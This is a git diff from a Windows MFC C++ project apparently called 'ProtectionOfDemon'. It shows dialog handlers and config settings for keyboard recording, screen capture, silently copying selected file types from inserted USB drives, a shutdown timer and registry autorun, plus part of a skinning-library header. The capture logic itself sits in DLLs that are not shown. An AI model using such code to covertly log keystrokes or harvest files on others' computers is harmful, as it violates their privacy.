+ int iCheck = m_ScreenRecordCursorCheck.GetCheck();
+
+ if (0 == iCheck) // 未勾选
+ {
+ // 保存到配置文件
+ ::WritePrivateProfileString("SCREEN RECORD", "Include Cursor", "0", CONFIGFILE);
+
+ }
+ else // 勾选
+ {
+ // 保存到配置文件
+ ::WritePrivateProfileString("SCREEN RECORD", "Include Cursor", "1", CONFIGFILE);
+ }
+
+ // 读取配置文件并更新
+ ReadConfigForScreenRecord();
+}
+
+
+void CRecordDlg::OnBnClickedButtonScreenrecordPath()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ char szSavePath[MAX_PATH] = { 0 };
+ BROWSEINFO bi = { 0 };
+ bi.lpszTitle = CURRENT_VERSION;
+ LPITEMIDLIST lpItemIdList = ::SHBrowseForFolder(&bi);
+ if (NULL == lpItemIdList)
+ {
+ ShowError("SHBrowseForFolder");
+ }
+ else
+ {
+ // 获取选择的存储路径
+ ::SHGetPathFromIDList(lpItemIdList, szSavePath);
+ if (0 >= ::lstrlen(szSavePath))
+ {
+ ::MessageBox(NULL, "Save Path Setting Error!\nPlease Setting Again!\n", "ERROR", MB_OK | MB_ICONERROR);
+ }
+ else
+ {
+ // 保存到配置文件
+ ::WritePrivateProfileString("SCREEN RECORD", "Save Directory", szSavePath, CONFIGFILE);
+ // 读取配置文件并更新
+ ReadConfigForScreenRecord();
+ }
+ }
+}
+
+
+void CRecordDlg::OnSelchangeComboScreenrecordFileext()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCurSel = m_ScreenRecordCombo.GetCurSel();
+ // 保存到配置文件
+ switch (iCurSel)
+ {
+ case 0:
+ {
+ ::WritePrivateProfileString("SCREEN RECORD", "File Extention", "jpg", CONFIGFILE);
+ break;
+ }
+ case 1:
+ {
+ ::WritePrivateProfileString("SCREEN RECORD", "File Extention", "png", CONFIGFILE);
+ break;
+ }
+ case 2:
+ {
+ ::WritePrivateProfileString("SCREEN RECORD", "File Extention", "bmp", CONFIGFILE);
+ break;
+ }
+ case 3:
+ {
+ ::WritePrivateProfileString("SCREEN RECORD", "File Extention", "gif", CONFIGFILE);
+ break;
+ }
+ default:
+ break;
+ }
+ // 读取配置文件并更新
+ ReadConfigForScreenRecord();
+}
+
+
+void CRecordDlg::OnBnClickedCheckShutdowntimerOnoff()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_ShutdownOnOffCheck.GetCheck();
+
+ HWND hButtonSetWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_SHUTDOWNTIMER_SET);
+ HWND hRadioShutdownWnd = ::GetDlgItem(m_hWnd, IDC_RADIO_SHUTDOWN);
+ HWND hRadioSignOutWnd = ::GetDlgItem(m_hWnd, IDC_RADIO_SIGNOUT);
+ HWND hRadioLockWnd = ::GetDlgItem(m_hWnd, IDC_RADIO_LOCK);
+ HWND hComboHourWnd = ::GetDlgItem(m_hWnd, IDC_COMBO_SHUTDOWNTIMER_HOUR);
+ HWND hComboMinuteWnd = ::GetDlgItem(m_hWnd, IDC_COMBO_SHUTDOWNTIMER_MINUTE);
+ HWND hComboSecondWnd = ::GetDlgItem(m_hWnd, IDC_COMBO_SHUTDOWNTIMER_SECOND);
+ if (0 == iCheck) // 未勾选
+ {
+ ::EnableWindow(hButtonSetWnd, FALSE);
+ ::EnableWindow(hRadioShutdownWnd, FALSE);
+ ::EnableWindow(hRadioSignOutWnd, FALSE);
+ ::EnableWindow(hRadioLockWnd, FALSE);
+ ::EnableWindow(hComboHourWnd, FALSE);
+ ::EnableWindow(hComboMinuteWnd, FALSE);
+ ::EnableWindow(hComboSecondWnd, FALSE);
+ typedef_SetShutdownTimer SetShutdownTimer = (typedef_SetShutdownTimer)::GetProcAddress(g_ShutdownTimerDll, "SetShutdownTimer");
+ if (NULL == SetShutdownTimer)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ SetShutdownTimer(0, 0, 0, 0);
+ // 结束时间倒数
+ ::KillTimer(m_hWnd, 1);
+ HWND hWnd = ::GetDlgItem(m_hWnd, IDC_STATIC_SHUTDOWN_TIMELEFT);
+ ::SetWindowText(hWnd, "");
+ // 释放
+ ::FreeLibrary(g_ShutdownTimerDll);
+ }
+ else // 勾选
+ {
+ ::EnableWindow(hButtonSetWnd, TRUE);
+ ::EnableWindow(hRadioShutdownWnd, TRUE);
+ ::EnableWindow(hRadioSignOutWnd, TRUE);
+ ::EnableWindow(hRadioLockWnd, TRUE);
+ ::EnableWindow(hComboHourWnd, TRUE);
+ ::EnableWindow(hComboMinuteWnd, TRUE);
+ ::EnableWindow(hComboSecondWnd, TRUE);
+ // 加载DLL
+ g_ShutdownTimerDll = ::LoadLibrary(SHUTDOWNTIMERDLL);
+ if (NULL == g_ShutdownTimerDll)
+ {
+ ::ShowError("LoadLibrary");
+ return;
+ }
+ }
+}
+
+
+void CRecordDlg::OnBnClickedButtonShutdowntimerSet()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ UpdateData(TRUE);
+ int iHour = m_ShutdownComboHour.GetCurSel();
+ int iMin = m_ShutdownComboMin.GetCurSel();
+ int iSec = m_ShutdownComboSecond.GetCurSel();
+ typedef_SetShutdownTimer SetShutdownTimer = (typedef_SetShutdownTimer)::GetProcAddress(g_ShutdownTimerDll, "SetShutdownTimer");
+ if (NULL == SetShutdownTimer)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ if ((0 == iHour) &&
+ (0 == iMin) &&
+ (0 == iSec))
+ {
+ SetShutdownTimer(0, 0, 1, (1 + m_iRecordShutdown));
+ }
+ else
+ {
+ SetShutdownTimer(iHour, iMin, iSec, (1 + m_iRecordShutdown));
+ }
+ ::SetTimer(m_hWnd, 1, 1000, NULL);
+}
+
+
+void CRecordDlg::OnTimer(UINT_PTR nIDEvent)
+{
+ // TODO: 在此添加消息处理程序代码和/或调用默认值
+ switch (nIDEvent)
+ {
+ case 1:
+ {
+ GetShutdownTimerTimeLeft();
+ break;
+ }
+ default:
+ break;
+ }
+ CDialogEx::OnTimer(nIDEvent);
+}
+
+
+void CRecordDlg::GetShutdownTimerTimeLeft()
+{
+ typedef_GetShutdownTimerTimeLeft GetShutdownTimerTimeLeft = (typedef_GetShutdownTimerTimeLeft)::GetProcAddress(g_ShutdownTimerDll, "GetShutdownTimerTimeLeft");
+ if (NULL == GetShutdownTimerTimeLeft)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ UINT uTimeLeft = GetShutdownTimerTimeLeft();
+ if (0 <= uTimeLeft)
+ {
+ char szTimeLeft[MAX_PATH] = { 0 };
+ ::wsprintf(szTimeLeft, "%d Left", uTimeLeft);
+ HWND hWnd = ::GetDlgItem(m_hWnd, IDC_STATIC_SHUTDOWN_TIMELEFT);
+ ::SetWindowText(hWnd, szTimeLeft);
+ }
+}
+
+
+void CRecordDlg::OnBnClickedCheckUdiskrecordOnoff()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_UDiskOnOffCheck.GetCheck();
+
+ HWND hEditPathWnd = ::GetDlgItem(m_hWnd, IDC_EDIT_UDISKRECORD_PATH);
+ HWND hButtonPathWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_UDISKRECORD_PATH);
+ HWND hCheckAllFilesWnd = ::GetDlgItem(m_hWnd, IDC_CHECK_COPY_FILE_ALL_FILES);
+ HWND hCheckExeWnd = ::GetDlgItem(m_hWnd, IDC_CHECK_COPY_FILE_EXE);
+ HWND hCheckDocWnd = ::GetDlgItem(m_hWnd, IDC_CHECK_COPY_FILE_DOC_DOCX);
+ HWND hCheckPptWnd = ::GetDlgItem(m_hWnd, IDC_CHECK_COPY_FILE_PPT_PPTX);
+ HWND hCheckExlWnd = ::GetDlgItem(m_hWnd, IDC_CHECK_COPY_FILE_XLS_XLSX);
+ HWND hCheckJpgWnd = ::GetDlgItem(m_hWnd, IDC_CHECK_COPY_FILE_JPG_PNG_BMP);
+ HWND hCheckMp3Wnd = ::GetDlgItem(m_hWnd, IDC_CHECK_COPY_FILE_MP3_WAV);
+ HWND hCheckMp4Wnd = ::GetDlgItem(m_hWnd, IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV);
+ if (0 == iCheck) // 未勾选
+ {
+ ::EnableWindow(hEditPathWnd, FALSE);
+ ::EnableWindow(hButtonPathWnd, FALSE);
+ ::EnableWindow(hCheckAllFilesWnd, FALSE);
+ ::EnableWindow(hCheckExeWnd, FALSE);
+ ::EnableWindow(hCheckDocWnd, FALSE);
+ ::EnableWindow(hCheckPptWnd, FALSE);
+ ::EnableWindow(hCheckExlWnd, FALSE);
+ ::EnableWindow(hCheckJpgWnd, FALSE);
+ ::EnableWindow(hCheckMp3Wnd, FALSE);
+ ::EnableWindow(hCheckMp4Wnd, FALSE);
+ // 结束
+ typedef_ExitUDiskRecord ExitUDiskRecord = (typedef_ExitUDiskRecord)::GetProcAddress(g_UDiskRecordDll, "ExitUDiskRecord");
+ if (NULL == ExitUDiskRecord)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ ExitUDiskRecord();
+ // 释放
+ ::FreeLibrary(g_UDiskRecordDll);
+ }
+ else // 勾选
+ {
+ ::EnableWindow(hEditPathWnd, TRUE);
+ ::EnableWindow(hButtonPathWnd, TRUE);
+ ::EnableWindow(hCheckAllFilesWnd, TRUE);
+ ::EnableWindow(hCheckExeWnd, TRUE);
+ ::EnableWindow(hCheckDocWnd, TRUE);
+ ::EnableWindow(hCheckPptWnd, TRUE);
+ ::EnableWindow(hCheckExlWnd, TRUE);
+ ::EnableWindow(hCheckJpgWnd, TRUE);
+ ::EnableWindow(hCheckMp3Wnd, TRUE);
+ ::EnableWindow(hCheckMp4Wnd, TRUE);
+ // 加载DLL
+ g_UDiskRecordDll = ::LoadLibrary(UDISKRECORDDLL);
+ if (NULL == g_UDiskRecordDll)
+ {
+ ::ShowError("LoadLibrary");
+ return;
+ }
+ // 初始化
+ typedef_InitUDiskRecord InitUDiskRecord = (typedef_InitUDiskRecord)::GetProcAddress(g_UDiskRecordDll, "InitUDiskRecord");
+ if (NULL == InitUDiskRecord)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ InitUDiskRecord();
+ // 读取配置文件并更新
+ ReadConfigForUDiskRecord();
+ }
+}
+
+
+void CRecordDlg::OnBnClickedButtonUdiskrecordPath()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ char szSaveDirectory[MAX_PATH] = {0};
+ BROWSEINFO bi = { 0 };
+ bi.lpszTitle = CURRENT_VERSION;
+
+ LPITEMIDLIST lpItemIdList = ::SHBrowseForFolder(&bi);
+ if (NULL == lpItemIdList)
+ {
+ ShowError("SHBrowseForFolder");
+ }
+ else
+ {
+ // 获取选择的存储路径
+ ::SHGetPathFromIDList(lpItemIdList, szSaveDirectory);
+ if (0 >= ::lstrlen(szSaveDirectory))
+ {
+ ::MessageBox(NULL, "Save Path Setting Error!\nPlease Setting Again!\n", "ERROR", MB_OK | MB_ICONERROR);
+ }
+ else
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Save Directory", szSaveDirectory, CONFIGFILE);
+ // 读取配置文件并更新
+ ReadConfigForUDiskRecord();
+ }
+ }
+}
+
+
+void CRecordDlg::OnBnClickedCheckCopyFileAllFiles()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_UDiskAllFilesCheck.GetCheck();
+ if (0 == iCheck) // 未勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "All Files", "0", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Exe", "0", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Doc", "0", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Ppt", "0", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Exl", "0", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Jpg", "0", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Mp3", "0", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Mp4", "0", CONFIGFILE);
+ // 设置
+ m_UDiskExeCheck.SetCheck(0);
+ m_UDiskJpgCheck.SetCheck(0);
+ m_UDiskDocCheck.SetCheck(0);
+ m_UDiskPptCheck.SetCheck(0);
+ m_UDiskExlCheck.SetCheck(0);
+ m_UDiskMp3Check.SetCheck(0);
+ m_UDiskMp4Check.SetCheck(0);
+ }
+ else // 勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "All Files", "1", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Exe", "1", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Doc", "1", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Ppt", "1", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Exl", "1", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Jpg", "1", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Mp3", "1", CONFIGFILE);
+ ::WritePrivateProfileString("UDISK RECORD", "Mp4", "1", CONFIGFILE);
+ // 设置
+ m_UDiskExeCheck.SetCheck(1);
+ m_UDiskJpgCheck.SetCheck(1);
+ m_UDiskDocCheck.SetCheck(1);
+ m_UDiskPptCheck.SetCheck(1);
+ m_UDiskExlCheck.SetCheck(1);
+ m_UDiskMp3Check.SetCheck(1);
+ m_UDiskMp4Check.SetCheck(1);
+ }
+ // 读取配置文件并更新
+ ReadConfigForUDiskRecord();
+}
+
+
+void CRecordDlg::OnBnClickedCheckCopyFileExe()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_UDiskExeCheck.GetCheck();
+ if (0 == iCheck) // 未勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Exe", "0", CONFIGFILE);
+ }
+ else // 勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Exe", "1", CONFIGFILE);
+ }
+ // 读取配置文件并更新
+ ReadConfigForUDiskRecord();
+}
+
+
+void CRecordDlg::OnBnClickedCheckCopyFileDocDocx()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_UDiskDocCheck.GetCheck();
+ if (0 == iCheck) // 未勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Doc", "0", CONFIGFILE);
+ }
+ else // 勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Doc", "1", CONFIGFILE);
+ }
+ // 读取配置文件并更新
+ ReadConfigForUDiskRecord();
+}
+
+
+void CRecordDlg::OnBnClickedCheckCopyFilePptPptx()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_UDiskPptCheck.GetCheck();
+ if (0 == iCheck) // 未勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Ppt", "0", CONFIGFILE);
+ }
+ else // 勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Ppt", "1", CONFIGFILE);
+ }
+ // 读取配置文件并更新
+ ReadConfigForUDiskRecord();
+}
+
+
+void CRecordDlg::OnBnClickedCheckCopyFileXlsXlsx()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_UDiskExlCheck.GetCheck();
+ if (0 == iCheck) // 未勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Exl", "0", CONFIGFILE);
+ }
+ else // 勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Exl", "1", CONFIGFILE);
+ }
+ // 读取配置文件并更新
+ ReadConfigForUDiskRecord();
+}
+
+
+void CRecordDlg::OnBnClickedCheckCopyFileJpgPngBmp()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_UDiskJpgCheck.GetCheck();
+ if (0 == iCheck) // 未勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Jpg", "0", CONFIGFILE);
+ }
+ else // 勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Jpg", "1", CONFIGFILE);
+ }
+ // 读取配置文件并更新
+ ReadConfigForUDiskRecord();
+}
+
+
+void CRecordDlg::OnBnClickedCheckCopyFileMp3Wav()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_UDiskMp3Check.GetCheck();
+ if (0 == iCheck) // 未勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Mp3", "0", CONFIGFILE);
+ }
+ else // 勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Mp3", "1", CONFIGFILE);
+ }
+ // 读取配置文件并更新
+ ReadConfigForUDiskRecord();
+}
+
+
+void CRecordDlg::OnBnClickedCheckCopyFileMp4AviRmvbMkv()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_UDiskMp4Check.GetCheck();
+ if (0 == iCheck) // 未勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Mp4", "0", CONFIGFILE);
+ }
+ else // 勾选
+ {
+ ::WritePrivateProfileString("UDISK RECORD", "Mp4", "1", CONFIGFILE);
+ }
+ // 读取配置文件并更新
+ ReadConfigForUDiskRecord();
+}
+
+
+void CRecordDlg::OnBnClickedCheckAutorun()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ srand(time(NULL));
+ // 获取当前程序路径
+ char szFileName[MAX_PATH] = { 0 };
+ char szPath[MAX_PATH] = { 0 };
+ int iType = 0;
+ ::GetModuleFileName(NULL, szFileName, MAX_PATH);
+ ::lstrcpy(szPath, szFileName);
+
+ int iCheckState = m_AutoRun.GetCheck();
+
+ if (0 == iCheckState) // 未勾选
+ {
+ // 读取配置文件,选择删除方式
+ iType = ::GetPrivateProfileInt("AUTORUN", "type", 0, CONFIGFILE);
+ }
+ else // 勾选
+ {
+ // 选择开机自启动方式
+ iType = 1;
+ }
+
+ if(1 == iType) // 创建自启动注册表
+ {
+ ::PathStripPath(szFileName);
+ AutoRunType_Register(iCheckState, szFileName, szPath);
+ }
+}
+
+void CRecordDlg::AutoRunType_Service(int iCheckState, char *lpszFileName, char *lpszPath)
+{
+
+}
+
+
+void CRecordDlg::AutoRunType_Register(int iCheckState, char *lpszFileName, char *lpszPath)
+{
+ // 加载DLL
+ g_AutoRunDll = ::LoadLibrary(AUTORUNDLL);
+ if (NULL == g_AutoRunDll)
+ {
+ ::ShowError("LoadLibrary");
+ return;
+ }
+
+ if (0 == iCheckState) // 未勾选
+ {
+ // 获取函数
+ typedef_SetRegisterAutoRun SetRegisterAutoRun = (typedef_SetRegisterAutoRun)::GetProcAddress(g_AutoRunDll, "SetRegisterAutoRun");
+ if (NULL == SetRegisterAutoRun)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ // 设置注册表
+ SetRegisterAutoRun(lpszFileName, lpszPath, FALSE); // 删除
+
+ // 写入配置文件
+ ::WritePrivateProfileString("AUTORUN", "bAutoRun", "FALSE", CONFIGFILE);
+ ::WritePrivateProfileString("AUTORUN", "path", "", CONFIGFILE);
+ }
+ else // 勾选
+ {
+ // 获取函数
+ typedef_SetRegisterAutoRun SetRegisterAutoRun = (typedef_SetRegisterAutoRun)::GetProcAddress(g_AutoRunDll, "SetRegisterAutoRun");
+ if (NULL == SetRegisterAutoRun)
+ {
+ ::ShowError("GetProcAddress");
+ return;
+ }
+ // 设置注册表
+ SetRegisterAutoRun(lpszFileName, lpszPath, TRUE); // 创建
+
+ // 写入配置文件
+ ::WritePrivateProfileString("AUTORUN", "bAutoRun", "TRUE", CONFIGFILE);
+ ::WritePrivateProfileString("AUTORUN", "path", lpszFileName, CONFIGFILE);
+ ::WritePrivateProfileString("AUTORUN", "type", "1", CONFIGFILE);
+ }
+
+ // 卸载DLL
+ ::FreeLibrary(g_AutoRunDll);
+}
+
+
+void CRecordDlg::SetAutoRunState()
+{
+ char szState[MAX_PATH] = {0};
+ ::GetPrivateProfileString("AUTORUN", "bAutoRun", "FALSE", szState, MAX_PATH, CONFIGFILE);
+ if (0 == ::lstrcmpi("TRUE", szState))
+ {
+ // 开启开机自启动
+ m_AutoRun.SetCheck(1);
+ }
+ else
+ {
+ // 未开启开机自启动
+ m_AutoRun.SetCheck(0);
+ }
+ UpdateData(FALSE);
+}
\ No newline at end of file
diff --git a/ProtectionOfDemon/ProtectionOfDemon/RecordDlg.h b/ProtectionOfDemon/ProtectionOfDemon/RecordDlg.h
new file mode 100644
index 0000000..50e9581
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/RecordDlg.h
@@ -0,0 +1,91 @@
+#pragma once
+#include "afxwin.h"
+#include "afxcmn.h"
+
+
+
+// CRecordDlg 对话框
+
+
+
+class CRecordDlg : public CDialogEx
+{
+ DECLARE_DYNAMIC(CRecordDlg)
+public:
+ void InitCtrl();
+ void ReadConfigForKeyboardRecord();
+ void ReadConfigForScreenCapture();
+ void ReadConfigForScreenRecord();
+ void ReadConfigForUDiskRecord();
+ void GetShutdownTimerTimeLeft();
+
+ void SetAutoRunState();
+ void AutoRunType_Service(int iCheckState, char *lpszFileName, char *lpszPath);
+ void AutoRunType_Register(int iCheckState, char *lpszFileName, char *lpszPath);
+
+public:
+ CRecordDlg(CWnd* pParent = NULL); // 标准构造函数
+ virtual ~CRecordDlg();
+
+// 对话框数据
+ enum { IDD = IDD_DIALOG_RECORD };
+
+protected:
+ virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
+
+ DECLARE_MESSAGE_MAP()
+public:
+ afx_msg void OnBnClickedCheckScreencaptureOnoff();
+ CButton m_ScreenCaptureOnOffCheck;
+ CHotKeyCtrl m_ScreenCaptureHotKey;
+ afx_msg void OnBnClickedButtonScreencaptureSetHotkey();
+ afx_msg void OnBnClickedCheckKeyboardrecordOnoff();
+ CButton m_KeyboardRecordOnOffCheck;
+ afx_msg void OnBnClickedButtonKeyboardrecordPath();
+ CButton m_ScreenRecordOnOffCheck;
+ afx_msg void OnBnClickedCheckScreenrecordOnoff();
+ afx_msg void OnReleasedcaptureSliderScreenrecordTime(NMHDR *pNMHDR, LRESULT *pResult);
+ CSliderCtrl m_ScreenRecordSlider;
+ virtual BOOL OnInitDialog();
+// CButton m_ScreenRecordCursorCheck;
+ afx_msg void OnBnClickedCheckScreencaptureCursor();
+ afx_msg void OnBnClickedCheckScreenrecordCursor();
+// CComboBoxEx m_ScreenRecordComboBox;
+ afx_msg void OnBnClickedButtonScreenrecordPath();
+ CComboBox m_ScreenRecordCombo;
+ CButton m_ScreenRecordCursorCheck;
+ afx_msg void OnSelchangeComboScreenrecordFileext();
+ CButton m_ShutdownOnOffCheck;
+ CComboBox m_ShutdownComboHour;
+ CComboBox m_ShutdownComboMin;
+ CComboBox m_ShutdownComboSecond;
+ afx_msg void OnBnClickedCheckShutdowntimerOnoff();
+ afx_msg void OnBnClickedButtonShutdowntimerSet();
+// afx_msg void OnBnClickedButtonShutdowntimerShutdown();
+// afx_msg void OnBnClickedButtonShutdowntimerSignout();
+// afx_msg void OnBnClickedButtonShutdowntimerLock();
+ afx_msg void OnTimer(UINT_PTR nIDEvent);
+ afx_msg void OnBnClickedCheckUdiskrecordOnoff();
+ afx_msg void OnBnClickedButtonUdiskrecordPath();
+ afx_msg void OnBnClickedCheckCopyFileAllFiles();
+ afx_msg void OnBnClickedCheckCopyFileExe();
+ afx_msg void OnBnClickedCheckCopyFileDocDocx();
+ afx_msg void OnBnClickedCheckCopyFilePptPptx();
+ afx_msg void OnBnClickedCheckCopyFileXlsXlsx();
+ afx_msg void OnBnClickedCheckCopyFileJpgPngBmp();
+ afx_msg void OnBnClickedCheckCopyFileMp3Wav();
+ afx_msg void OnBnClickedCheckCopyFileMp4AviRmvbMkv();
+ CButton m_UDiskAllFilesCheck;
+ CButton m_UDiskDocCheck;
+ CButton m_UDiskExeCheck;
+ CButton m_UDiskJpgCheck;
+ CButton m_UDiskMp3Check;
+ CButton m_UDiskMp4Check;
+ CButton m_UDiskPptCheck;
+ CButton m_UDiskExlCheck;
+ CButton m_UDiskOnOffCheck;
+ afx_msg void OnIdok();
+ BOOL m_iRecordShutdown;
+ afx_msg void OnBnClickedCheckAutorun();
+ CButton m_AutoRun;
+};
diff --git a/ProtectionOfDemon/ProtectionOfDemon/SkinPPWTL.h b/ProtectionOfDemon/ProtectionOfDemon/SkinPPWTL.h
new file mode 100644
index 0000000..5a875ab
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/SkinPPWTL.h
@@ -0,0 +1,237 @@
+#ifndef _SKINPPWTL_H_
+#define _SKINPPWTL_H_
+
+#ifdef _SKINPP_STATIC
+ #define SKINPPWTL_API
+#else
+ #ifdef SKINPPWTL_EXPORTS
+ #define SKINPPWTL_API __declspec(dllexport)
+ #else
+ #define SKINPPWTL_API __declspec(dllimport)
+ #endif
+#endif
+
+#define WM_TOOLBARPAINTPRE (WM_USER + 802)
+#define WM_TOOLBARPAINTEND (WM_USER + 803)
+
+#define SM_LBUTTONUP (WM_USER + 804)
+
+//按钮状态
+enum BUTTONSTATE
+{
+ NORMAL = 0,
+ PRESS = 1,
+ DISABLE = 2,
+ HOT = 3,
+ FOCUS = 4,
+ LAST = 5
+};
+
+//绘制类型
+enum DRAWTYPE
+{
+ BUTTON = 0,
+ SCROLLARROWUP = 1,
+ SCROLLARROWDOWN = 2,
+ SPLITTERBARHORZ = 3,
+ SPLITTERBARVERT = 4,
+ SPLITTERBARBORDER = 5,
+ LISTHEAD = 6
+};
+
+//获得皮肤资源的类型
+enum SKINOBJTYPE
+{
+ DIALOGTYPE = 0,
+ BUTTONTYPE = 1,
+ CHECKBOXTYPE = 2,
+ RADIOBOXTYPE = 3,
+ STATICTYPE = 4,
+ TRACKBARTYPE = 5,
+};
+
+struct ListBoxItem
+{
+ HIMAGELIST hImageList;
+ int nImageIndex;
+
+ ListBoxItem()
+ {
+ hImageList = NULL;
+ nImageIndex = -1;
+ }
+};
+
+#define REST_BITMAP 0x0001 //.bmp
+#define REST_ICON 0x0002 //.ico
+#define REST_CURSOR 0x0003 //.cur
+#define REST_ANIMATE 0x0004 //.ani
+
+typedef struct _ResourceInfo
+{
+ HGDIOBJ hGdiObj;//[OUT]
+ DWORD dwType; //[OUT]
+ int nWidth; //[OUT]
+ int nHeight;//[OUT]
+
+ TCHAR szResImageName[_MAX_FNAME];//[IN]
+ BOOL bHorzSplit;//[IN]
+ int nLength;//[IN]
+ int nCount; //[IN]
+ int nIndex; //[IN]
+
+ _ResourceInfo()
+ {
+ hGdiObj = NULL;
+ dwType = REST_BITMAP;
+ nWidth = 0;
+ nHeight = 0;
+
+ _tcscpy(szResImageName,_T(""));
+ bHorzSplit = TRUE;
+ nLength = -1;
+ nCount = -1;
+ nIndex = -1;
+ }
+
+}ResInfo,* PRESINFO;
+
+//////////////////////////////////////////////////////////////////////////
+
+//加载皮肤
+//SkinFile :皮肤路径,注意可以是*.ssk,也可以是皮肤目录中的INI文件.
+//bFromIni :该参数指定皮肤文件是从*.ssk读取,还是从INI文件读取.
+SKINPPWTL_API BOOL skinppLoadSkin(TCHAR* szSkinFile,BOOL bFromIni = FALSE);
+
+SKINPPWTL_API BOOL skinppLoadSkinFromRes(HINSTANCE hInstance,LPCTSTR szResourceName,
+ LPCTSTR szResourceType,TCHAR* szSkinFileName);
+
+//移除皮肤
+SKINPPWTL_API BOOL skinppRemoveSkin();
+
+//退出界面库,做清理工作。
+SKINPPWTL_API BOOL skinppExitSkin();
+
+//设置ListBox控件的自画信息
+//hWnd : ListBox控件的句柄
+//nIndex : Item项的索引
+//pListBoxItem : Item项自画的结构信息
+SKINPPWTL_API void skinppSetListBoxItemDrawInfo(HWND hWnd,int nIndex,struct ListBoxItem* pListBoxItem);
+
+//获得换肤后的系统颜色
+//nColorIndex : 要获取的颜色类型
+SKINPPWTL_API COLORREF skinppGetSkinSysColor(int nColorIndex);
+
+//获得Windows系统默认的颜色
+//nColorIndex : 要获取的颜色类型
+SKINPPWTL_API COLORREF skinppGetDefaultSysColor(int nColorIndex);
+
+//hWnd : 对话框窗口的句柄
+//nResID : 对话框资源ID
+SKINPPWTL_API BOOL skinppSetWindowResID(HWND hWnd,int nResID);//[多语言]
+
+SKINPPWTL_API BOOL skinppSetFreeDlgID(HWND hWnd,int nResID);
+
+SKINPPWTL_API BOOL skinppSetSkinResID(HWND hWnd,int nResID);
+
+//设置ListHeader窗口的排序信息
+//hWnd : ListHeader的窗口句柄
+//nSortColumn : 要对ListHeader排序的列的索引
+//bSortAscending: 是否为升序
+SKINPPWTL_API void skinppSetListHeaderSortInfo(HWND hWnd,int nSortColumn,BOOL bSortAscending = TRUE);
+
+//在给定的HDC上,指定相应的绘制类型和状态,在相应的矩形区域中进行绘制.
+//hdc :目标DC
+//rect :绘制区域
+//eDrawType :绘制类型,目前支持SPLITTERBARHORZ,SPLITTERBARVERT,SPLITTERBARBORDER
+//nState :选择绘制状态
+SKINPPWTL_API void skinppDrawSkinObject(HDC hdc,RECT rect,DRAWTYPE eDrawType,int nState);
+
+//通过资源ID,获得相应类型的皮肤资源位图句柄
+//nSkinObjType : 皮肤类型,目前支持 DIALOGTYPE,BUTTONTYPE,CHECKBOXTYPE,RADIOBOXTYPE
+//nResID : 资源ID
+//nState : 状态,对BUTTONTYPE,CHECKBOXTYPE,RADIOBOXTYPE有效
+SKINPPWTL_API HBITMAP skinppGetResFromID(SKINOBJTYPE nSkinObjType,int nResID,int nState =0 );
+
+//设置是否自己画对话框背景,该方法用在需要自己对背景进行处理的情况下.
+//hWnd : 对话框的句柄
+//bErase : TRUE 为自己画背景,FALSE 为Skin++画,如果没有调用该方法,Skin++将画对话框背景.
+SKINPPWTL_API void skinppSetDialogEraseBkgnd(HWND hWnd,BOOL bErase);
+
+//设置对话框背景是否剪切子控件区域。
+//hWnd : 对话框句柄
